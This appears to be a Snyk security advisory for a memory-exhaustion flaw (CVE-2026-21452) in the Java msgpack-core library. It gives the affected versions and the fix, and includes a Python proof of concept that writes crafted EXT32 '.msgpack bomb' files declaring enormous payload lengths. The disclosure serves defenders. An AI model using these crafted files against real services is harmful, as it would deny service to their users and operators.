Memory Allocation with Excessive Size Value Affecting org.msgpack:msgpack-core package, versions [0.7.0-M6,0.9.11)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.02% (7th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Memory Allocation with Excessive Size Value vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-ORGMSGPACK-14857714
  • published4 Jan 2026
  • disclosed2 Jan 2026
  • creditSarvesh Patil

Introduced: 2 Jan 2026

CVE-2026-21452  (opens in a new tab)
CWE-770  (opens in a new tab)
CWE-789  (opens in a new tab)

How to fix?

Upgrade org.msgpack:msgpack-core to version 0.9.11 or higher.

Overview

Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value in the deserialization process of .msgpack files containing EXT32 objects. An attacker can exhaust system memory and cause service unavailability by submitting a specially crafted .msgpack file containing a small EXT32 object with a very large declared payload length.

PoC

import msgpack
import struct
import os

OUTPUT_DIR = "bombs"
os.makedirs(OUTPUT_DIR, exist_ok=True)

# EXT format: fixext / ext8 / ext16 / ext32
# ext32 allows attacker-controlled length (uint32)

length = 1
step = 10_000_000

while True:
    try:
        # EXT32: 0xC9 | length (4 bytes) | type (1 byte)
        header = b'\xC9' + struct.pack(">I", length) + b'\x01'
        payload = b'A'   # actual data tiny

        data = header + payload

        fname = f"{OUTPUT_DIR}/ext_length_{length}.msgpack"
        with open(fname, "wb") as f:
            f.write(data)

        print(f"[+] Generated EXT bomb with declared length={length}")
        length += step

    except Exception as e:
        print("[!] Stopped:", e)
        break

CVSS Base Scores

version 4.0
version 3.1